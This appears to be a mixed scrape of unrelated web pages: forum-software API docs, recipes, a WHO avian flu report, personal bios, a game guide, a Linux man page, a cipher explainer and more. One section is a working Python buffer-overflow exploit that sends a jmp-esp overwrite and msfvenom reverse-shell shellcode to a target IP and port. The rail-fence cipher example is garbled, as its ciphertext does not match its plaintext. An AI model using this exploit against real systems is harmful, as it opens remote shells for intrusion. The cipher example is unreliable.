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Public Member Functions | |
| responseNoPermission () | |
| __construct (Zend_Controller_Request_Http $request, Zend_Controller_Response_Http $response, XenForo_RouteMatch $routeMatch) | |
| getModelFromCache ($class) | |
| getRequest () | |
| getInput () | |
| setViewStateChange ($state, $data) | |
| getViewStateChanges () | |
| getResponseType () | |
| getRouteMatch () | |
| preDispatch ($action, $controllerName) | |
| postDispatch ($controllerResponse, $controllerName, $action) | |
| updateSession ($controllerResponse, $controllerName, $action) | |
| canUpdateSessionActivity ($controllerName, $action, &$newState) | |
| canonicalizeRequestUrl ($linkUrl) | |
| canonicalizePageNumber ($page, $perPage, $total, $linkType, $linkData=null) | |
| responseReroute ($controllerName, $action, array $containerParams=array()) | |
| responseReroutePath ($path, array $containerParams=array()) | |
| responseRedirect ($redirectType, $redirectTarget, $redirectMessage=null, array $redirectParams=array()) | |
| responseError ($error, $responseCode=200, array $containerParams=array()) | |
| responseMessage ($message, array $containerParams=array()) | |
| responseException (XenForo_ControllerResponse_Abstract $controllerResponse, $responseCode=null) | |
| responseCaptchaFailed () | |
| getNoPermissionResponseException () | |
| getErrorOrNoPermissionResponseException ($errorPhraseKey, $stringToPhrase=true) | |
| responseFlooding ($floodSeconds) | |
| getNotFoundResponse () | |
| isConfirmedPost () | |
| responseView ($viewName='', $templateName='', array $params=array(), array $containerParams=array()) | |
| getHelper ($class) | |
| getRecordOrError ($id, $model, $method, $errorPhraseKey) | |
| getDynamicRedirect ($fallbackUrl=false, $useReferrer=true) | |
| getDynamicRedirectIfNot ($notUrl, $fallbackUrl=false, $useReferrer=true) | |
| parseRouteUrl ($url) | |
| ipMatch ($checkIps, array $ipList) | |
Static Public Member Functions | |
| static | getSessionActivityDetailsForList (array $activities) |
Protected Member Functions | |
| _checkCsrf ($action) | |
| _handlePost ($action) | |
| _checkCsrfFromToken ($token=null, $throw=true) | |
| _setupSession ($action) | |
| _preDispatchFirst ($action) | |
| _preDispatchType ($action) | |
| _preDispatch ($action) | |
| _postDispatchType ($controllerResponse, $controllerName, $action) | |
| _postDispatch ($controllerResponse, $controllerName, $action) | |
| _noRedirect () | |
| _buildLink ($type, $data=null, array $params=array()) | |
| _assertPostOnly () | |
| _getFieldValidationInputParams () | |
| _validateField ($dataWriterName, array $data=array(), array $options=array(), array $extraData=array()) | |
| _deleteData ($dataWriterName, $existingDataKeyName, $redirectLink, $redirectMessage=null, array $dwOptions=array()) | |
| _getInputFromSerialized ($varname, $throw=true, &$errorPhraseKey=null) | |
| _getClientIps () | |
| _isSelfReferer () | |
Protected Attributes | |
| $_request | |
| $_response | |
| $_routeMatch | |
| $_input | |
| $_modelCache = array() | |
| $_viewStateChanges = array() | |
Static Protected Attributes | |
| static | $_executed = array() |
| __construct | ( | Zend_Controller_Request_Http | $request, |
| Zend_Controller_Response_Http | $response, | ||
| XenForo_RouteMatch | $routeMatch | ||
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Constructor
| Zend_Controller_Request_Http | |
| Zend_Controller_Response_Http | |
| XenForo_RouteMatch |
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protected |
Helper to assert that this action is available over POST only. Throws an exception if the request is not via POST.
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If the controller needs to build a link in a type-specific way (when the type isn't known), this function can be used. As of this writing, only canonicalizePageNumber uses this function.
| string | $type | |
| mixed | $data | |
| array | $params |
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Checks a request for CSRF issues. This is only checked for POST requests (with session info) that aren't Ajax requests (relies on browser-level cross-domain policies).
The token is retrieved from the "_xfToken" request param.
| string | $action |
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Gets for a CSRF issue using a standard formatted token. Throws an exception if a CSRF issue is detected.
| string | null | $token | Format: <user id>="">,<request time>="">,<token>. Null pulls from _xfToken |
| boolean | $throw | If true, an exception is thrown when failing; otherwise, a return is used |
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Instructs a DataWriter to delete data based on a POST input parameter.
| string | Name of DataWriter class that will perform the deletion |
| string|array | Name of input parameter that contains the existing data key OR array containing the keys for a multi-key parameter |
| string | URL to which to redirect on success |
| string | Redirection message to show on successful deletion |
| array | Options to send to the target data writer |
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Returns an array of IPs for the current client
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Fetches name/value/existingDataKey from input. Primarily used for AJAX autovalidation actions of single fields.
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Turns a serialized (by jQuery) query string from input into a XenForo_Input object.
| string | Name of index to fetch from $this->_input |
| boolean | On error, throw an exception or return false |
| string |
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Performs particular actions if the request method is POST
| string | $action |
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Attempts to determine whether the request is referred from the same host
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Checks for the presence of the _xfNoRedirect parameter that is sent by AutoValidator forms when they submit via AJAX
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Method designed to be overridden by child classes to add post-dispatch behaviors
| mixed | The response from the controller. Generally, a XenForo_ControllerResponse_Abstract object. |
| string | The name of the final controller that was invoked |
| string | The name of the final action that was invoked |
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Method designed to be overridden by child classes to add post-dispatch behaviors. This differs from _postDispatch() in that it is designed for abstract controller type classes to override. Specific controllers should override _postDispatch instead.
| mixed | The response from the controller. Generally, a XenForo_ControllerResponse_Abstract object. |
| string | The name of the final controller that was invoked |
| string | The name of the final action that was invoked |
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Method designed to be overridden by child classes to add pre-dispatch behaviors. This method should only be overridden by specific, concrete controllers.
| string | Action that is requested |
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Method designed to be overridden by child classes to add pre-dispatch behaviors before any other pre-dispatch checks are called.
| string | $action |
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Method designed to be overridden by child classes to add pre-dispatch behaviors. This differs from _preDispatch() in that it is designed for abstract controller type classes to override. Specific controllers should override _preDispatch instead.
| string | $action | Action that is requested |
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Setup the session.
| string | $action |
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Validates a field against a DataWriter. Expects 'name' and 'value' keys to be present in the request.
| string | $dataWriterName | Name of DataWriter against which this field will be validated |
| array | $data | Array containing name, value or existingDataKey, which will override those fetched from _getFieldValidationInputParams |
| array | $options | Key-value pairs of options to set |
| array | $extraData | Key-value pairs of extra data to set |
| canonicalizePageNumber | ( | $page, | |
| $perPage, | |||
| $total, | |||
| $linkType, | |||
$linkData = null |
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Ensures that the page that has been requested is valid based on the total number of results. If it's not valid, the page is redirected to the last valid page (via a response exception).
| integer | $page | |
| integer | $perPage | |
| integer | $total | |
| string | $linkType | |
| mixed | $linkData |
| canonicalizeRequestUrl | ( | $linkUrl | ) |
Canonicalizes the request URL based on the given link URL. Canonicalization will only happen when requesting an HTML page, as it is primarily an SEO benefit.
A response exception will be thrown is redirection is required.
| string | $linkUrl |
| canUpdateSessionActivity | ( | $controllerName, | |
| $action, | |||
| & | $newState | ||
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Can this controller update the session activity? Returns false by default for AJAX requests. Override this in specific controllers if you want action-specific behaviour.
| string | $controllerName | |
| string | $action | |
| string | $newState |
| getDynamicRedirect | ( | $fallbackUrl = false , |
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$useReferrer = true |
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Gets a dynamic redirect target based on a redirect param or the referrer.
| string | false | $fallbackUrl | Fallback if no redirect or referrer is available; if false, uses index |
| boolean | $useReferrer | True uses the referrer if no redirect param is available |
| getDynamicRedirectIfNot | ( | $notUrl, | |
$fallbackUrl = false , |
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$useReferrer = true |
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Gets a dynamic redirect provided it doesn't start with the given URL. Note that the URLs will be converted to absolute before comparison, so the domains/ports/leading paths need to be the same.
| $notUrl | ||
| bool | $fallbackUrl | |
| bool | $useReferrer |
| getErrorOrNoPermissionResponseException | ( | $errorPhraseKey, | |
$stringToPhrase = true |
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Gets a specific error or a general no permission response exception. If the first param is a string and $stringToPhrase is true, it will be treated as a phrase key and turned into a phrase.
If a specific phrase is requested, a general error will be thrown. Otherwise, a generic no permission error will be shown.
| string | XenForo_Phrase | mixed | $errorPhraseKey | A phrase key, a phrase object, or hard coded text. Or, may be empty. |
| boolean | $stringToPhrase | If true and the $errorPhraseKey is a string, $errorPhraseKey is treated as the name of a phrase. |
| getHelper | ( | $class | ) |
Creates the specified helper class. If no underscore is present in the class name, "XenForo_ControllerHelper_" is prefixed. Otherwise, a full class name is assumed.
| string | $class | Full class name, or partial suffix (if no underscore) |
| getInput | ( | ) |
Gets the input object.
| getModelFromCache | ( | $class | ) |
Gets the specified model object from the cache. If it does not exist, it will be instantiated.
| string | $class | Name of the class to load |
| getNoPermissionResponseException | ( | ) |
Gets a general no permission error wrapped in an exception response.
| getRecordOrError | ( | $id, | |
| $model, | |||
| $method, | |||
| $errorPhraseKey | |||
| ) |
Gets a valid record or throws an exception.
| mixed | $id | ID of the record to get |
| XenForo_Model | $model | Model object to request from |
| string | $method | Method to call in the model object |
| string | $errorPhraseKey | Key of error phrase to use when not found |
| getRequest | ( | ) |
Gets the request object.
| getResponseType | ( | ) |
Gets the type of response that has been requested.
| getRouteMatch | ( | ) |
Gets the route match for this request. This can be modified to change the response type, and the major/minor sections that will be used to setup navigation.
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Gets session activity details of activity records that are pointing to this controller. This must check the visiting user's permissions before returning item info. Return value may be:
| array | $activities | List of activity records |
| getViewStateChanges | ( | ) |
Gets all the view state changes.
| ipMatch | ( | $checkIps, | |
| array | $ipList | ||
| ) |
Checks for a match of one or more IPs against a list of IP and IP fragments
| string|array | IP address(es) |
| array | List of IP addresses |
| isConfirmedPost | ( | ) |
Returns true if the request method is POST and an _xfConfirm parameter exists and is true
| parseRouteUrl | ( | $url | ) |
Parses a URL that should contain a route match in it into the route match and any request params set by it.
| string | $url |
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This function is called immediately after an action is dispatched.
| mixed | The response from the controller. Generally, a XenForo_ControllerResponse_Abstract object. |
| string | The name of the final controller that was invoked |
| string | The name of the final action that was invoked |
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final |
This function is called immediately before an action is dispatched.
| string | Action that is requested |
| string |
| responseCaptchaFailed | ( | ) |
Gets the response for a generic CAPTCHA failed error.
| responseError | ( | $error, | |
$responseCode = 200 , |
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| array | $containerParams = array() |
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Controller response for when you want to throw an error and display it to the user.
| string|array | Error text to be use |
| integer | An optional HTTP response code to output |
| array | Key-value pairs of parameters to pass to the container view |
| responseException | ( | XenForo_ControllerResponse_Abstract | $controllerResponse, |
$responseCode = null |
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| ) |
Gets the exception object for controller response-style behavior. This object cannot be returned from the controller; an exception must be thrown with it.
This allows any type of controller response to be invoked via an exception.
| XenForo_ControllerResponse_Abstract | $controllerResponse | Type of response to invoke |
| integer | HTTP response code |
| responseFlooding | ( | $floodSeconds | ) |
Gets the response for a generic flooding page.
| integer | $floodSeconds | Numbers of seconds the user must wait to perform the action |
| responseMessage | ( | $message, | |
| array | $containerParams = array() |
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| ) |
Controller response for when you want to display a message to a user.
| string | Error text to be use |
| array | Key-value pairs of parameters to pass to the container view |
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Gets the response for a generic no permission page.
| responseRedirect | ( | $redirectType, | |
| $redirectTarget, | |||
$redirectMessage = null , |
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| array | $redirectParams = array() |
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| ) |
Controller response for when you want to redirect to a different URL. This will happen in a separate request.
| integer | See XenForo_ControllerResponse_Redirect |
| string | Target to redirect to |
| mixed | Message with which to redirect |
| array | Extra parameters for the redirect |
| responseReroute | ( | $controllerName, | |
| $action, | |||
| array | $containerParams = array() |
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| ) |
Controller response for when you want to reroute to a different controller/action.
| string | Name of the controller to reroute to |
| string | Name of the action to reroute to |
| array | Key-value pairs of parameters to pass to the container view |
| responseReroutePath | ( | $path, | |
| array | $containerParams = array() |
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Controller response for when you want to reroute to a different path internally.
| string | $path |
| responseView | ( | $viewName = '' , |
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$templateName = '' , |
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| array | $params = array() , |
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| array | $containerParams = array() |
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Controller response for when you want to output using a view class.
| string | Name of the view class to be rendered |
| string | Name of the template that should be displayed (may be ignored by view) |
| array | Key-value pairs of parameters to pass to the view |
| array | Key-value pairs of parameters to pass to the container view |
| setViewStateChange | ( | $state, | |
| $data | |||
| ) |
Sets a change to the view state.
| string | $state | Name of state to change |
| mixed | $data |
| updateSession | ( | $controllerResponse, | |
| $controllerName, | |||
| $action | |||
| ) |
Updates the session records. This should run on all pages, provided they not rerouting to another controller. Session saving should handle double calls, if they happen.
| mixed | $controllerResponse | The response from the controller. Generally, a XenForo_ControllerResponse_Abstract object. |
| string | $controllerName | |
| string | $action |


Single Endpoint Scraping is no longer supported.
The discovery document for Single Target Scraping can be accessed at /discovery


Introducing the Khosla Ventures Design Internship Program | Khosla Ventures http://t.co/l0OXDJaKLb
— Irene Au (@ireneau) February 27, 2015
Irene Au
How does a design perspective help in evaluating an investment decision, in obvious ways? Designers are highly tuned in to user needs and natural human behaviors, since this is deeply linked to what they do as designers. Their insights inform whether an offering truly addresses a human need, and whether the proposed solution has the potential to successfully address those needs.
How does a design perspective help in evaluating an investment decision, in non-obvious ways? Design is a manifestation of what a company values, the principles that guide their decisions, and its ability to execute. Bad design is a reflection of some internal failure within the company. Read my post here.
Where have you seen a designer’s perspective possibly harmful in the investment process? Just because a company’s offering is not aesthetically pleasing does not mean that it is not a potential investment hit. Also, an overinvestment in design can sometimes lead to navel-gazing and too much focus on issues that are not really the core problem to solve.
What are three characteristics in a company’s structure/history that will likely lead to success in leveraging design?
- Clear vision and mission, sense of purpose, raison d’etre
- A strong point of view that guides key decisions for product
- Decisive leadership to support #1 and 2
How do you best support CEOs with a purely technical and/or business background to leverage design in their startup?
- Help them recruit a great design leader / designer
- Point out potential pitfalls with their product if they do not get the design right
- Get them close to users to gain insight into their needs and how to best address their needs with their offering
What are a few challenges you’ve seen in working with companies that have caught “the design bug” -- especially the CEO?
- Naive understanding of what design is
- Talks the talk but doesn’t commit to making design a priority (failure to bring in great talent, failure to empower design, etc)


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Preparation time
30 mins to 1 hour
Cooking time
30 mins to 1 hour
Serves
Serves 4
Heat the oil in a large saucepan and add the onion. Cook for 3-4 minutes, until softened, then add the carrots, parsnip, potato, rice and lamb and cook for one minute.
Stir in the curry paste, then add the stock and mix well. Season with salt and freshly ground black pepper.
Bring to the boil, then reduce the heat, cover and simmer for 30 minutes, or until the vegetables are tender.
Pulse a hand blender in the soup a couple of times to purée it slightly, then stir in the coriander.
Ladle the soup into warm bowls and garnish with a few coriander leaves.
Serve with warm naan bread.


29 March 2011 - The Ministry of Health of Egypt has announced three new confirmed cases of human infection with avian influenza A(H5N1) virus.
The first case is a 32 year old male from Suez Governorate. He developed symptoms on 8 March, was hospitalized on 12 March and died on 13 March.
The second case is a 28 year old female from Giza Governorate. She developed symptoms on 8 March and was hospitalized on 10 March. She is in a stable condition.
The third case is a 4 year old male from Behira Governorate. He developed symptoms on 5 March and was hospitalized on 7 March. He recovered and was discharged on 12 March.
Investigations into the source of infection indicate that the cases had exposure to sick and/or dead poultry suspected to have avian influenza.
The cases were confirmed by the Egyptian Central Public Health Laboratories, a National Influenza Center of the WHO Global Influenza Surveillance Network.
Of the 133 cases confirmed to date in Egypt, 45 have been fatal.


Hi, I'm a systems and product engineer. I am passionate about establishing teams under the united purpose of building good products really well. I'm passionate about technology that is designed to do good. I think my technical aptitude, systems thinking, and user-centered design philosophy is what empowers me to reduce complexity, and deliver a variety of technology products across industries.
I was born and raised in South Africa. I graduated from Systems Design Engineering at UWaterloo which shaped a lot about how I perceive the world and the problems within it.
My first love is B&W film photography but—until I learn how to set up DIY a darkroom in a studio apartment—I have turned to painting, live sketching, and embroidery.
In my free time (which I have a lot of these days), I am consuming books and media of various forms. I've started jotting down notes as I go, follow along on my Notion reading list.
Feel free to connect with me through social media or send me an email.


#!/usr/bin/env python
import sys
import socket
#For strings and multi line communication, add "\r\n" to every send
#Setup two arguments, target and target port
if len(sys.argv) < 3:
print "Usage ", sys.argv[0], " <target_ip> <target_port>"
sys.exit(0)
#Variable to hold 'junk'. Typically used to make initial overwrite
junk = 124*"\x41" #Overflow
junk += "\x47\xb4\x12\x40" #0x4012b447: jmp *%esp
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=1337 -b "\x00\x0a\x0d" --smallest -f python
#Payload size: 84 bytes
#Final size of python file: 416 bytes
buf = ""
buf += "\x6a\x43\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e"
buf += "\x07\xe2\xfa\x30\xd9\xf4\xe7\x56\x45\x54\x62\x0b\x83"
buf += "\xea\xbc\x6b\xc3\x8f\x83\x48\xa2\x2c\xd9\x95\x5f\x6e"
buf += "\xe1\x71\x65\x1b\x1c\x1c\x76\x1d\x20\x24\x1b\xaa\xc5"
buf += "\x95\x40\x77\x79\x7a\x99\x28\xa5\xcc\xe3\xaf\x62\x59"
buf += "\x5c\x1c\x47\x5d\x5e\x18\x17\x5b\x53\xb2\xdf\x6f\x6d"
buf += "\xb6\xa1\xf1\x49\x8e\xc4"
junk += 200*"\xCC" #200 \xCC or NOPsled
junk += buf #add payload
junk += "\xCC" * (200 - len(junk)) #to identify if we overshot
#Setup socket connection, received first 1024, and print
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
received = s.recv(1024)
print received
#First send and receive to analyze
s.send(junk)
received = s.recv(1024)
print received
#End close
s.close()


Excess Rates
The plot shows excess rates of recently analyzed sources. Excess is defined as the difference between background and signal events. FACT uses five off-positions in the field of view to estimate the rate of background events.
Data rates
The current datarate of the RTA process is ... events per second. This is not the FACT trigger rate but merely the number of events per second the RTA is analyzing after the DAQ finished writing all data to the disk.
Machine status
Basic information about the machine running the RTA. It's running at the experiment site.
- Free disk space: ... GB
- Currently reserved RAM: ... MB
- Reserved CPU cores: ...
Sky Image
Image of the sky over La Palma. This is fetched from the All-Sky-Camera near the GTC Telescope.
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Kyber crystals
Star Wars Jedi: Fallen Order — How to find all lightsaber colors
Travel the path of a Padawan.
by Jennifer LockeStar Wars Jedi: Fallen Order features eight different lightsaber colors, but only two are unlocked at the beginning. In order to find the rest, you'll need to work your way through a significant chunk of the story first. They aren't missable and are related to a story mission on the planet Ilum, which you cannot access right away. Once you can get to Ilum, though, finding your kyber crystal is a breeze.
Where to find all lightsaber colors
Ilum is a playable location in Star Wars Jedi: Fallen Order, but it's much smaller than the other planets. In Star Wars lore, it's the location where Jedi younglings complete a rite of passage to harvest a kyber crystal for their lightsaber, becoming one step closer to the rank of Padawan. You'll need to complete a majority of the game on Kashyyyk and Dathomir before you can visit it.
Other than some platforming and large puzzles, you'll only encounter a few Imperial probe droids on your path to the kyber crystal. Because it is a smaller location than the rest, the path is fairly straightforward, and there aren't a lot of places to get lost. Once you obtain the krystal, you'll be able to select which color you want to use. No matter which you select, the rest of the colors will automatically unlock once you visit a workbench again to tinker with your lightsaber.
You'll notice after you complete this mission that you have only unlocked 7/8 colors. That's because orange was an exclusive pre-order bonus, and is not attainable in the game by regular means. It's unclear whether or not Respawn will add it in free for all players sometime later down the line.
Lightsaber colors:
- Blue
- Green
- Magenta
- Purple
- Yellow
- Cyan
- Indigo
- Orange
Use the Force
Star Wars Jedi: Fallen Order
The Jedi temple awaits
Star Wars Jedi: Fallen Order puts players into the shoes of a Padawan on the run from the Empire after Order 66 devastated the Jedi Order. Travel to Ilum and get your very own Kyber crystal in multiple colors.
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A little more details about me
Hello, my name is Aya Hariri. I lived in Belgium, Canada, and Jordan. My nationality is Belgian but I am originally from Syria. I am a freelance graphic designer and previously worked in the field of events. I have a secret addiction to McDonald's. I love playing video games during my freetime. My favorite game is Call of Duty. A lot of people fear things, my biggest fear or pet peeve are birds, specially pigeons! They really scare me!
My Top 10 Video Games
- Call of Duty
- Black Ops
- Battlefield
- Drive
- Burnout
- Smash Brothers
- Mario Kart
- Crash Bandicoot
- GTA
- Pepsi Man
Education & Work Experience
Eduction
- Concordia Univeristy 2011 - 2013:
- American Unviersity of Madaba 2013 - 2017:
B.A in Sociology
B.A in Graphic Design
Work Experience
- Ogilvy Internship Sept 2011 - Nov 2011:
- Freelance Graphic Designer 2017 - 2020:
- WeUsher 2017 - 2020:
In charge of Social Media design posts
Designing the brand identity, logo and stationary for certain start-up businesses. Also designed and sold posters.
Project Manager at WeUsher, as well as their graphic designer for social media posts.


Dalesbred is a library that strives to make database access from Java nicer. Dalesbred assumes that SQL is a great way to access database, but that JDBC as an API causes pain. Therefore it wraps JDBC with a set of helpers while still providing access to low-level functionality.
Dalesbred is released under permissive MIT License.


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- addAlias(String) - Method in class readycli.Option.Builder
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Add an alias for the option.
- addAliases(String...) - Method in class readycli.Option.Builder
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Add aliases for the option.
- addCommand(String, Command) - Method in class readycli.CLI
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Adds a command to the
CLI
. - addDocumentationAlias(String) - Method in class readycli.Command.Builder
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Adds a new alias for the option that shows the documentation.
- addDocumentationAliases(String...) - Method in class readycli.Command.Builder
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Adds new aliases for the documentation option, that shows the documentation.
- addFlag(String, String) - Method in class readycli.Command.Builder
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Adds a flag to the command.
- addOption(Option) - Method in class readycli.Command.Builder
- addParameter(String, String, String) - Method in class readycli.Option.Builder
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Add a parameter to the option.
- addRequiredArgument(String, String) - Method in class readycli.Command.Builder
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Adds a required argument to the command.
- addSubCommand(String, Command) - Method in class readycli.Command.Builder
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Adds a
sub-command
that can be invoked by specifying it as the first argument of the current command. - arguments - Variable in class readycli.CommandContext
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Contains all values of all arguments.
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Working under the direction of a lead designer, I helped migrate product information into a newly designed catalogue.
A series of line drawings intended as a mindfulness meditation colouringbook for adults
Under direction of the Society for Contemporary Works on paper, I designed and oversaw the production of this print show catalogue.


Custom Scrollbars.
A simple script and a few styles is what we come across when introducing these files to your project. With simple lines of code, we have our own custom scrollbar!
InstallationTo the
At the bottom of the
A simple script and a few styles is what we come across when introducing these files to your project. With simple lines of code, we have our own custom scrollbar!
InstallationAll the attributes will be put in a single line of code, specifically in the
tag
These 3 will be the classes of width measurements for the scrollbar, each one varies the 'width' in pixels with the number of the respective class.

The Scrollbar does not have rounded edges by default, so the 'radius' class could also be added to it to solve this problem.

Like the other properties, they will be entered in the
label
-> Attribute thumb

Inside the attribute a color or hexadecimal code is entered
-> Attribute track

Inside the attribute a color or hexadecimal code is entered
In addition to this, we have a gradient for the scroll, accompanying the classes.


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Integer and Rational classes
10 Jul 2015 GSoC-2015 · SymEngineHola! The refactoring of the C Interface has been done, and I did figure out how to test the Ruby bindings with the help of Valgrind
and without the rake-tester
gem. It needs a bunch a flags to tell the tool that it’s ok the way ruby accesses memory, and that the warnings can be suppressed. Still, to be sure that the memory leaks that we see in the report/output are all good memory leaks we need to execute the tests in a loop. Which is pending. I have a arit_spec.rb
that reproduces the test cases from test_arit.py
, the python test file for testing the python wrappers.
I am still debugging the errors in the wrappers for get_args
and free_symbols
. The test arit_spec.rb
depends on it. Only then I can maybe run them in a loop. I am still not yet sure how to run rspec tests in a loop. Shouldn’t be that complex. My closest guess is that, it might be because of a premature GC collection. We do have RB_GC_GUARD
for that in the Ruby C API. I came to this conclusion, since it wasn’t solved even after we implemented the functions to allocate basic
in a heap and rectified the possible errors in the C API code.
I decided to come back to the error after I made some progress with the Integer
and Rational
classes. I think I made the wrong decision, I should have resolved that earlier error first. But good thing is, I have figured out the way I can use polymorphism(mixins, and overloading) and function overloading(decide inside a single function definition by switch) in them. I need the method get_type_code
for that so that in the function I can call the method to know the type of the VALUE that has been passed to the function inside the C API code(objects made with Data_Wrap_Struct
have the data type as T_DATA
).
Next Week
I will make the script that will run the tests in the loop to check for memory leaks. And get my other unmerged PRs merged, they have been there for a long time now. Then, implement the ways that I mentioned above in the Integer
and Rational
classes. These will also require modifying the existing tested code for arithmetic operations. This is why, I would get the other PRs get merged first. Things have turned a little bit dependent on each other.
Commits
- Moved TypeIDs to a common header for both C & C++
- Attempt to use TypeID in cwrapper files
- [ci skip] rectified indentation in Ruby files
- Removed old defs: free_symbols & get_args in Cwrp
- Added setbasic_get in cwrappers
- Added
#free_symbols
to Basic class, tests fail - Added method
#args
to Basic, tests don’t pass - args & free_symbols return basic allocated on heap
- Fixed Typo in
Integer
andRational
headers
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Who earned the most BADGE badges?
Who has the largest number of BADGE symbols next to his( MOST + 1 ) name in the chart?
person( MOST + 1 ) has the largest number of symbols next to his( MOST + 1) name.
person( MOST + 1 ) earned the most BADGE badges.
Who earned the fewest BADGE badges?
Who has the smallest number of BADGE symbols next to his( LEAST + 1 ) name in the chart?
person( LEAST + 1 ) has the smallest number of symbols next to his( LEAST + 1) name.
person( LEAST + 1 ) earned the fewest BADGE badges.
How many BADGE badges did person( PERSON + 1 ) earn?
ANSWER BADGE badge(s)
The key at the bottom of the pictograph shows that each symbol represents plural( VALUE_PER_IMG, "badge" ).
There plural( "is", DATA[PERSON] ) plural( DATA[ PERSON ], "symbol" ).
DATA[ PERSON ]
plural( "symbol", DATA[ PERSON ] )
\times
VALUE_PER_IMG
plural( "badge", VALUE_PER_IMG ) per symbol
= DATA[ PERSON ] * VALUE_PER_IMG
plural( "badge", DATA[ PERSON ] * VALUE_PER_IMG ).
person( PERSON + 1 ) earned ANSWER
BADGE plural( "badge", ANSWER ).


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rotten > Library > History > Index by Country > Philippines
Philippines
Taken as war booty during the Spanish-American War, fought over for years during the Philippine-American War, and given independence after World War II.
 Marcos' agents assassinated dissident Benigno Aquino, ultimately leading to his downfall.
Although primarily a Catholic nation, the Philippines is a hotbed of Islamic terrorists, such as the al Qaeda linked Abu Sayyaf and the Moro Islamic Liberation Front.
Khalid Shaikh Mohammed and Ramzi Yousef spent a lot of time plotting in the Philippines. Terry Nichols just happened to be passing through at about the same time.
Notorious for criminal mail-order-bride services, aimed at pathetic schmucks and/or homicidal madmen (like Terry Nichols).
Timeline
| 27 Apr 1521 |
Philippine natives kill explorer Fernando de Magellan. |
| 1 May 1898 |
Philippines seized from Spain by the United States, and turned into a colony. President McKinley called the occupation "benevolent assimilation." But what actually followed was the slaughter of 200,000 Filipinos. |
| 12 Jun 1898 |
A date celebrated by some Filipinos as their independence day. |
| 1934 |
U.S. grants semi-autonomy to Philippines. |
| 20 Oct 1944 |
American forces land at Leyte. 20,000 Americans die retaking the Philippines back from Japan. |
| 4 Jul 1946 |
Independence formally granted by the United States. |
| 21 Aug 1983 |
Opposition leader Benigno Aquino is assassinated by agents of President Marcos. |
| 22 May 1988 |
Marine Sgt. Marciano Contaoe, a guard of President Corazon C. Aquino, runs amok in Manila with his .45 and an M-16, killing 9 people and wounding 3 others in a drunken rage. He is sentenced to 300 years. |
| 28 Sep 1989 |
Former President Ferdinand Marcos dies in exile in Hawaii. |
| 15 Jun 1991 |
Pinatubo, which had been active since June 9, erupts with massive force. Because of advance warnings, relatively few people die; but Clark Air Force Base is abandoned, over 50,000 people lose their homes, and 650,000 lose their jobs as a result. |
| 16 Sep 1991 |
Philippine Senate refuses to renew U.S. leases on American military bases. |
| Dec 2000 |
A series of terror bombings occurs in Manila; suspected mastermind is Hambali. |
Pornopolis |
Rotten |
Faces of Death |
Famous Nudes
|


SHM_OVERVIEW
Section: Linux Programmer's Manual (7)
Updated: 2010-09-10
Index
Return to Main Contents
NAME
shm_overview - overview of POSIX shared memory
DESCRIPTION
The POSIX shared memory API allows processes to communicate information
by sharing a region of memory.
The interfaces employed in the API are:
- shm_open(3)
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Create and open a new object, or open an existing object.
This is analogous to
open(2).
The call returns a file descriptor for use by the other
interfaces listed below.
- ftruncate(2)
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Set the size of the shared memory object.
(A newly created shared memory object has a length of zero.)
- mmap(2)
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Map the shared memory object into the virtual address space
of the calling process.
- munmap(2)
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Unmap the shared memory object from the virtual address space
of the calling process.
- shm_unlink(3)
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Remove a shared memory object name.
- close(2)
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Close the file descriptor allocated by
shm_open(3)
when it is no longer needed.
- fstat(2)
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Obtain a
stat
structure that describes the shared memory object.
Among the information returned by this call are the object's
size
(st_size),
permissions
(st_mode),
owner
(st_uid),
and group
(st_gid).
- fchown(2)
-
To change the ownership of a shared memory object.
- fchmod(2)
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To change the permissions of a shared memory object.
Versions
POSIX shared memory is supported since Linux 2.4 and glibc 2.2.
Persistence
POSIX shared memory objects have kernel persistence:
a shared memory object will exist until the system is shut down,
or until all processes have unmapped the object and it has been deleted with
shm_unlink(3)
Linking
Programs using the POSIX shared memory API must be compiled with
cc -lrt
to link against the real-time library,
librt.
Accessing shared memory objects via the filesystem
On Linux, shared memory objects are created in a
(tmpfs)
virtual filesystem, normally mounted under
/dev/shm.
Since kernel 2.6.19, Linux supports the use of access control lists (ACLs)
to control the permissions of objects in the virtual filesystem.
CONFORMING TO
POSIX.1-2001.
NOTES
Typically, processes must synchronize their access to a shared
memory object, using, for example, POSIX semaphores.
System V shared memory
(shmget(2),
shmop(2),
etc.) is an older shared memory API.
POSIX shared memory provides a simpler, and better designed interface;
on the other hand POSIX shared memory is somewhat less widely available
(especially on older systems) than System V shared memory.
SEE ALSO
fchmod(2),
fchown(2),
fstat(2),
ftruncate(2),
mmap(2),
mprotect(2),
munmap(2),
shmget(2),
shmop(2),
shm_open(3),
shm_unlink(3),
sem_overview(7)
Index
- NAME
-
- DESCRIPTION
-
- Versions
-
- Persistence
-
- Linking
-
- Accessing shared memory objects via the filesystem
-
- CONFORMING TO
-
- NOTES
-
- SEE ALSO
-
This document was created by
man2html,
using the manual pages.
Time: 02:55:22 GMT, September 18, 2014


In the rail fence cipher, the plaintext is written downwards on successive "rails" of an imaginary fence, starting a new column when the bottom is reached. The message is then read off in rows. For example, if we have 3 rails and a message of "This is a secret message", you would write out:
T S A C T S G H I S R M S E I S E E E A J
The last J is just a random letter to fill in the space. The secret message is then condensed and regrouped.
TSACT SGHIS RMSEI SEEEA JGURL
To decipher a message you must know the number of rails that were used to encipher it. You then break up the letters into equal groups for each rail. For example, if you are using 3 rails, you would break the secret message into 3 equal groups. Now you stack the groups on top of each other and read off the message vertically. If you get gibberish, then there are probably some extra letters tacked on the end of the message that are throwing off the grouping. Try removing one letter from the end and try again.


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Makes 8 tarts
Dietary
So there’s a smidgeon of butter on (and in) the pastry, but otherwise these fruity little minxes are a rare guilt-free treat and if you get a wriggle on they can be made in under an hour. Impeccable.
Equipment and preparation: You will need a 12-hole muffin tin or cupcake tin.
Preheat the oven to 180C/350F/Gas 4 with the middle shelf ready. Grease a 12-hole muffin tin or cupcake tin well.
Cut the filo pastry into squares that are big enough to fit into the muffin holes and hang over the sides a little. Brush each piece of filo with lots of melted butter to stop it from burning in the oven, then push a filo square into eight of the holes and top with another filo square, you will need to layer up 3–4 pieces.
Place the filo cases into the oven for five minutes or so, giving them time to crisp up. Once they look golden-brown and crispy, remove them from the oven and leave to cool for 10 minutes or so. Remove them from the muffin tray and place them on serving dishes. I always tend to break at least one when I take them out!
